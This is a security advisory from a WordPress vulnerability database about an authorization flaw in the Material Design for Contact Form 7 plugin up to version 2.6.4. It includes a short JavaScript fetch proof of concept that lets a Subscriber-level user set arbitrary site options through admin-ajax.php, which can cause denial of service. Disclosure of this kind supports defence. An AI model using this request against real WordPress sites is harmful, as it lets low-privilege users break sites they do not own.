WordPress Plugin Vulnerabilities
Material Design for Contact Form 7 <= 2.6.4 - Subscriber+ Arbitrary Settings Update leading to DoS
Description
The plugin does not check authorization or that the option mentioned in the notice param belongs to the plugin when processing requests to the cf7md_dismiss_notice action, allowing any logged in user (with roles as low as Subscriber) to set arbitrary options to true, potentially leading to Denial of Service by breaking the site.
Proof of Concept
fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "action=cf7md_dismiss_notice¬ice=template",
"method": "POST",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
Affects Plugins
No known fix References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-11 (about 2 years ago)
Added
2022-03-11 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)
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